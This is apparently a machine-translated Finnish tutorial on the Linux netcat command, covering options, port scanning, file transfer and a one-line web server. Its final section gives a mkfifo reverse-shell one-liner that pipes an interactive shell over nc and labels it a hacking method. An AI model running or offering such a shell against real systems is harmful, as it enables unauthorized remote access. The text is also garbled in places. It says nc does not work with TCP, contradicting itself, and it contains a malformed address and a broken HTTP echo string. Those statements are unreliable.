Maksutavat Abuse

Mitä NC-komento tekee Linuxissa

29.08.2024, 02:19

Netcat-komentoa tarvitaan TCP- ja UDP-protokollia käyttävien tietojen lähettämiseen ja vastaanottamiseen. Siinä ei ole paljon toimintoja, mutta se riittää yhteyden tarkistamiseen ja yksinkertaiseen virheenkorjaukseen. Miten kommunikoida TCP-protokollan kautta? Tätä kysymystä kysyvät monet käyttäjät. Tässä artikkelissa vastaamme tähän kysymykseen ja näytämme myös esimerkkejä komennon todellisesta käytöstä.

Mitä komento tekee?

Netcat (tai nc) -komento on tehokas työkalu verkkoyhteyksien kanssa työskentelyyn. Järjestelmänvalvojat ja kehittäjät käyttävät sitä usein erilaisiin tehtäviin. Tässä ovat netcatin tärkeimmät toiminnot ja ominaisuudet:

  1. TCP/UDP-yhteyksien muodostaminen: Voit muodostaa yhteyksiä etäisasemiin TCP- ja UDP-protokollien avulla.
  2. Porttien kuuntelu: voidaan käyttää palvelimena kuuntelemaan saapuvia yhteyksiä tietyssä portissa.
  3. Tiedonsiirto: siirtää tietoja tietokoneiden välillä verkon kautta. Tämä voi olla hyödyllistä tiedostojen siirrossa tai viestinvälityksessä.
  4. Verkkosovellusten virheenkorjaus: käytetään verkkopalvelujen testaamiseen ja virheenkorjaukseen, jolloin voit lähettää ja vastaanottaa mielivaltaisia tietoja.
  5. Yksinkertaisten keskustelujen luominen: kahden järjestelmän välille voidaan luoda yksinkertaista tekstiviestintää.
  6. Porttiskannaus: voidaan tarkistaa, onko etäisäntäasemilla avoimia portteja.
  7. Tunnelointi: voidaan luoda tunneleita liikenteen ohjaamiseksi toisten porttien tai isäntien kautta.
  8. Työskentely välityspalvelinten kanssa: voidaan käyttää välityspalvelinten kanssa työskentelyyn ja erilaisten verkkotehtävien suorittamiseen.

netcat on monipuolinen työkalu, jota voidaan käyttää monenlaisissa skenaarioissa yksinkertaisesta viestinvälityksestä monimutkaisiin verkkotoimintoihin.

Vaihtoehdot

Aloitetaan tarkastelemalla syntaksia ja suosituimpia vaihtoehtoja:

  • -6 - käyttää IPv6-protokollaa. Oletusarvo on -4 ja IPv4 vastaavasti;
  • -h - näyttää ohjeen, jossa on luettelo käytettävissä olevista parametreista;
  • -i - viive - lisää viiveen merkkijonojen lähettämisen tai porttien skannaamisen välille. Se asetetaan sekunteina;
  • -l - kuuntelutila. Käytetään porttimäärityksen kanssa;
  • -N - yhteyden sulkeminen, kun tiedoston loppu saavutetaan lähetettäessä;
  • -n - Työskentely IP-osoitteiden kanssa suoraan ilman DNS:ää, myös porttiskannauksen poistaminen käytöstä;
  • -P - user_name - määrittää käyttäjänimen, jolla yhteys välityspalvelimeen muodostetaan;
  • -x - address:port - määrittää välityspalvelimeen yhdistettävän osoitteen ja portin;
  • -p - port - määrittää portin numeron. Useimmissa tapauksissa portti luetaan ilman parametrin määrittämistä;
  • -U - käyttää UNIX-verkkotunnuksen pistorasiaa (prosessien välistä viestintää varten);
  • -u - käyttää UDP-protokollaa, oletuksena käytetään TCP-protokollaa;
  • -v - yksityiskohtainen tila. Käytetään skannattaessa;
  • -W number_packets - sulkee yhteyden saatuaan tietyn määrän paketteja;
  • -w timer - ottaa käyttöön ajastimen yhteyden keston rajoittamiseksi. Se asetetaan sekunteina;
  • -z - poistaa tiedonlähetyksen käytöstä. Sitä käytetään skannauksen aikana.

Komento on seuraavassa muodossa (parametrit porttiosoite):

$ nc

Seuraavaksi kerromme, miten komentoa käytetään.

Portin tarkistaminen

Tarkistaminen on netcatin tärkein käyttötapa. Käytä kahta parametria -vz, määritä osoite ja portti. Voit määrittää osoitealueen, mutta tässä tapauksessa on parempi seuloa vain avoimet portit komennollagrep. Tutkitaan lähiverkon osoitteen portit:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Skannataan samalla tavalla UDP-portit lisäämällä parametri -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Sinun pitäisi tietää TCP:n ja UDP:n tärkein ero. UDP-portit ovat siis aina käytettävissä.

Portin kuunteleminen

Parametri -l on tarkoitettu portin kuuntelemiseen. Se riittää usein, mutta voit ottaa käyttöön yksityiskohtaisen tilan:

$ nc -nlv 8080

Muista, että TCP-protokollaa käytettäessä portin on oltava vapaa, muuten tulee näkyviin virhe Jo käytössä. Normaalit käyttäjät eivät voi käyttää kaikkia portteja, esimerkiksi porttia 80 (HTTP), todennäköisesti se on jonkin toisen prosessin käytössä ja vaatii superkäyttäjän oikeudet.

Tiedostonvaihto

Komennon hyödyllinen kyky on tietojen vaihto. Yksinkertainen esimerkki on tekstikeskustelu. Käynnistääksesi chatin yhdellä tietokoneella, suorita apuohjelma portin kuuntelutilassa:

$ nc -lp 8080

Toisessa tietokoneessa sinun on määritettävä ensimmäisen tietokoneen osoite ja sama portti. Älä myöskään unohda tarkistaa, että portti on auki:

$ nc 0.0.0.0 8080

Näin voit lähettää ja vastaanottaa viestejä. Eli komento on tarkoitettu tiedostojen vaihtoon. Periaate on sama, paitsi että tuloste on ohjattava tiedostoon, nimittäin paste.txt:

$ nc -l 8080 > paste.txt

Toisessa tietokoneessa copy.txt-tiedosto toimii syötteenä. Ei ole tarpeetonta käyttää -N-parametria yhteyden sulkemiseen tiedostonsiirron jälkeen:

$ nc -N 0.0.0.0 8080 < copy.txt

Tiedostonsiirrossa on tärkeää noudattaa järjestystä, ensin avata kuuntelu ja vasta sitten lähettää tiedosto. Komento nc on toimiva, mutta kaikkea muuta kuin paras tapa siirtää tiedostoja. Tähän tehtävään on olemassa tehokkaampia ja hyödyllisempiä työkaluja.

Yksinkertainen verkkopalvelin

Koska NC-komento ei toimi TCP-protokollan kanssa, se mahdollistaa sekä HTTP-pyyntöjen lähettämisen että vastaanottamisen. Näin ollen apuohjelmasta voi tulla yksinkertainen web-palvelin. Kyllä, tällä tavalla ei voi tehdä mitään tyhjää sivua hankalampaa, mutta operaatio ei vie juuri lainkaan aikaa, ja plussaa on se, että sinun ei tarvitse asentaa mitään ylimääräistä.

Esimerkkilomakkeessa HTTP-vastaus tiedostolla index.html. Itse np:stä puheen ollen, on hyvä asettaa ajastin parametrilla -w 1, joka katkaisee yhteyden, jos selain ei katkaise:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Jos haluat saada tietoja verkkosivustolta, voit muodostaa pyynnön ja lähettää sen neuvottuun osoitteeseen ja porttiin. Mutta tämä tapa on melko monimutkainen, on parempi käyttää sopivaa CURL-komentoa.

Etäkuorinta

Edellä käsiteltyjen esimerkkien perusteella ei ole vaikea päätellä, että komennon avulla voit järjestää etäyhteyden tietokoneen komentotulkkiin. Aiemmin NC-apuohjelmalla oli useita parametreja päätelaitteen avaamiseen. -e-parametri on poistettu apuohjelmasta jo kauan sitten, joten yksinkertaista pääsyä päätelaitteeseen ei enää ole. Itse sovelluksen tietoturvasta on tullut korkeampi, mutta se voi silti toimia yhdessä muiden kanssa.

Näytetään yhteys nimetyllä kanavalla mkfifo. Aloitetaan ensin kuuntelemaan porttia tietokoneella, johon saamme pääsyn:

$ nc -lvnp 8080

Mennään suoraan komentoon, jolla avataan terminaali. Poistetaan ensin vanha nimetty kanava(rm /tmp/f), luodaan uusi sen tilalle(mkfifo /tmp/f), luetaan sen sisältö(cat /tmp/f) ja lähetetään komentotulkkikomento sen ulostuloon(sh -i 2>&1). Tämän jälkeen on enää suoritettava nc, jonka ulostulo tulee nimettyyn kanavaan(nc 0.0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Pidä mielessä, että tämä on yksi tapa hakkeroida, mutta siitä voi olla hyötyä, jos ssh:n kanssa on ongelmia. Hyökkäyksen estämiseksi määritä tietoturvakäytäntö ja palomuuri.